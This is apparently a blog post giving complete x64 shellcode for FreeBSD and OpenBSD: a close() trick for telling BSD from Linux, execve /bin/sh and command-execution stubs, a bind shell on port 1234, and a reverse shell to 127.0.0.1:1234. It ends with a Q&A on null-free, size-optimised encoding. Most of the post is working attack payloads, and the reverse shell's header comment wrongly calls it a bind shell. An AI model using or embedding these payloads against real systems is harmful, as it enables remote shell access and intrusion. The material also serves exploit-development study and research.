Shellcode: FreeBSD / OpenBSD amd64

Introduction

These are mostly the same as codes for x64 Linux with the main difference being system call numbers. I’ve also noticed that BSD tends to be less forgiving with parameters (at least for some functions). Initially, I couldn’t get execve() to work with NULL argv and NULL envp which works fine on Linux.

Well, it turns out the BSD kernel doesn’t like NULL argv and simply returns EFAULT (Bad Address) so you need to supply it. Apart from this, they’re almost identical and you probably could detect the difference between BSD and Linux kernels before executing the appropriate code.

Detection between Linux and BSD

Since you might be wondering how to do that..

One thing we know is that system calls on BSD trash specific registers whereas Linux saves them. That’s one way of checking..

But perhaps a more reliable method I found was used by Z0MBiE/29a in shellcode of his from 2002. He attempts to close an invalid handle/descriptor and depending on the error executes BSD or Linux code and this is probably the best approach.

; detect if linux/freebsd
  pusha
  push    byte 6          ; FN: linux/freebsd: EAX=6=close()
  pop     eax
  xor     ebx, ebx
  dec     ebx
  push    ebx             ; PARAM: EBX=handle=-1
  push    esp
  int     80h             ; PARAMS: handle

  pop     ecx
  pop     ecx
  or      eax, eax        ; linux: EAX=-9  freebsd: EAX=9=EBADF
  popa
  jl      short __linux   ; jl == jmp if linux 😉

sys_close() with invalid handle/descriptor returns number greater than zero on BSD but on Linux returns number less than zero.

So the above example works on x86 (in 2002) and the following will work for x64.

; detection of bsd/linux
    push    -1               ; invalid file descriptor
    pop     rdi
    push    6                ; sys_close
    pop     rax
    syscall
    test    eax, eax         ; BSD returns rax>0
    jl      linux            ; Linux returns rax<0
    ; execute bsd code here

I’m not demonstrating the mixture of Linux and BSD shellcode here today but that might be useful for somebody else to know. What follows are the x64 shellcodes for openbsd/freebsd.

Execute /bin/sh

Because sys_execve call is 59 on all 3 systems, this works with BSD and Linux.

; 24 byte execve("/bin//sh", {"/bin//sh", NULL}, 0);
; x64 versions of freebsd + openbsd + linux
; odzhan

    bits 64

    push    59
    pop     rax
    cdq                      ; rdx=envp=0
    mov     rbx, '/bin//sh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    ; ---------
    push    rdx              ; argv[1]=NULL
    push    rdi              ; argv[0]="/bin//sh", 0
    push    rsp
    pop     rsi              ; rsi=argv
    ; ---------
    syscall

Execute a command

; 39 byte execve("/bin//sh", {"/bin//sh", "-c", cmd, NULL}, 0);
; x64 versions of freebsd + openbsd + linux
; odzhan

    bits    64
start64:
    push    59
    pop     rax              ; rax=sys_execve
    cdq                      ; rdx=penv=0
    mov     rbx, '/bin//sh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; rdi="/bin//sh", 0
    ; ---------
    push    rdx              ; 0
    push    word '-c'
    push    rsp
    pop     rbx              ; rbx="-c", 0
    push    rdx              ; argv[3]=NULL
    jmp     l_cmd64
r_cmd64:                     ; argv[2]=cmd
    push    rbx              ; argv[1]="-c"
    push    rdi              ; argv[0]="/bin//sh"
    push    rsp
    pop     rsi              ; rsi=argv
    syscall
l_cmd64:
    call    r_cmd64
    ; put your command here followed by null terminator

Bind Shell

; 73 byte bind shell
; x64 versions of freebsd + openbsd
; odzhan

    bits    64
    
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    97
    pop     rax              ; rax = sys_socket
    push    1
    pop     rsi              ; rsi = SOCK_STREAM
    push    2
    pop     rdi              ; rdi = AF_INET 
    cdq                      ; rdx = IPPROTO_IP    
    syscall
    
    xchg    eax, edi         ; edi = s
    
    ; step 2, bind to port 1234 
    ; bind(s, {AF_INET,1234,INADDR_ANY}, 16)
    mov     ebx, 0xD204FF02  ; 
    inc     bh
    push    rbx
    push    rsp
    pop     rsi              ; rsi = &sa
    mov     dl, 16           ; rdx = sizeof(sa)
    mov     al, 104          ; rax = sys_bind
    syscall
    
    ; step 3, listen
    ; listen(s, 0);
    push    rax
    pop     rsi
    mov     al, 106          ; rax = sys_listen
    syscall
    
    ; step 4, accept connections
    ; accept(s, 0, 0);
    mov     al, 30           ; rax = sys_accept 
    syscall
    
    xchg    eax, edi         ; edi = r, eax = 2
    xchg    eax, esi         ; esi = 2, eax = 0
    
    ; step 5, assign socket handle to stdin,stdout,stderr
    ; dup2 (r, STDIN_FILENO)
    ; dup2 (r, STDOUT_FILENO)
    ; dup2 (r, STDERR_FILENO)
dup_loop64:
    mov     al, 90           ; rax = sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed   
    
    ; step 6, execute /bin/sh
    ; execve("/bin//sh", {"/bin//sh", NULL}, NULL);
    cdq                      ; rdx = 0
    mov     rbx, '/bin//sh'
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    ; ---------
    push    rdx              ; argv[1] = NULL
    push    rdi              ; argv[0] = "/bin//sh", 0
    push    rsp
    pop     rsi              ; rsi = argv
    ; ---------
    mov     al, 59           ; rax = sys_execve
    syscall

Reverse Shell

; 68 byte bind shell
; x64 versions of freebsd + openbsd
; odzhan

    bits    64
    
    mov     rax, ~0x0100007fd2040200
    not     rax
    push    rax
    push    rsp
    
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    97
    pop     rax              ; rax = sys_socket
    push    1
    pop     rsi              ; rsi = SOCK_STREAM
    push    2
    pop     rdi              ; rdi = AF_INET  
    cdq                      ; rdx = IPPROTO_IP    
    syscall
    
    xchg    eax, edi         ; edi = s
    xchg    eax, esi         ; esi = 2
    
    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2 (s, STDIN_FILENO)
    ; dup2 (s, STDOUT_FILENO)
    ; dup2 (s, STDERR_FILENO)
dup_loop64:
    mov     al, 90           ; rax = sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed
    
    ; step 3, connect to remote host
    ; connect (s, &sa, sizeof(sa));
    pop     rsi              ; rsi = &sa
    mov     dl, 16           ; rdx = sizeof(sa)
    mov     al, 98           ; rax = sys_connect
    syscall    
    
    ; step 4, execute /bin/sh
    ; execve("/bin//sh", {"/bin//sh", NULL}, NULL);
    cdq                      ; rdx = 0
    mov     rbx, '/bin//sh'  ; 
    push    rdx              ; 0
    push    rbx              ; "/bin//sh"
    push    rsp
    pop     rdi              ; "/bin//sh", 0
    ; ---------
    push    rdx              ; argv[1] = NULL
    push    rdi              ; argv[0] = "/bin//sh", 0
    push    rsp
    pop     rsi              ; rsi = argv
    ; ---------
    mov     al, 59           ; rax = sys_execve
    syscall

Sources

Check out bsd folder. The only code there compatible with linux would be sh64.asm

Q & A

Why not save bytes by MOV’ing immediate values into RSI, RDI etc. for SYSCALL rather than PUSH’ing them on the stack and POP’ing them into registers for SYSCALL?

The goal of writing codes like this is to 1) Minimize size and 2) Avoid using null bytes where ever possible.

If the immediate value is short form (between -128 and +128) the PUSH opcode is only 2 bytes. The POP is 1.

The same is true for direct/conditional jumps and calls or addressing variables on stack.

So when RDI needs set to AF_INET(2) and RSI set to SOCK_STREAM(1) for the sys_socket call, here are some ways you could do it using MOV.

Using lower 8 bit registers which doesn’t zero out the upper 56-bits. (6 bytes)

//
  /* 0000 */ "\x40\xb7\x02" /* mov dil, 0x2 */
  /* 0003 */ "\x40\xb6\x01" /* mov sil, 0x1 */

Using 32-bit registers which does clear upper 32-bit bits but takes 10 bytes and contains nulls.

//
  /* 0000 */ "\xbf\x02\x00\x00\x00" /* mov edi, 0x2 */
  /* 0005 */ "\xbe\x01\x00\x00\x00" /* mov esi, 0x1 */

Using 64-bit registers which is 14 bytes and contains nulls.

//
  /* 0000 */ "\x48\xc7\xc7\x02\x00\x00\x00" /* mov rdi, 0x2 */
  /* 0007 */ "\x48\xc7\xc6\x01\x00\x00\x00" /* mov rsi, 0x1 */

Using the PUSH/POP method because we know immediate values are short form.
This also zeros out upper 56-bits and doesn’t contain null bytes and only 6 bytes.

//
  /* 0000 */ "\x6a\x02" /* push 0x2 */
  /* 0002 */ "\x5f"     /* pop rdi  */
  /* 0003 */ "\x6a\x01" /* push 0x1 */
  /* 0005 */ "\x5e"     /* pop rsi  */

It is also acceptable 32-bit code (should it be needed)

//
  /* 0000 */ "\x6a\x02" /* push 0x2 */
  /* 0002 */ "\x5f"     /* pop edi  */
  /* 0003 */ "\x6a\x01" /* push 0x1 */
  /* 0005 */ "\x5e"     /* pop esi  */

There are obviously other ways to do this but they all result in being larger than a PUSH/POP combination.

This entry was posted in assembly, bsd, freebsd, openbsd, shellcode and tagged , , , , , . Bookmark the permalink.

2 Responses to Shellcode: FreeBSD / OpenBSD amd64

    • Odzhan says:

      Was just looking into something like this other day and thought FS might be best way to detect between 2 but don’t know enough about Linux yet to say for sure. Good info though, thanks for that.

      Like

Leave a comment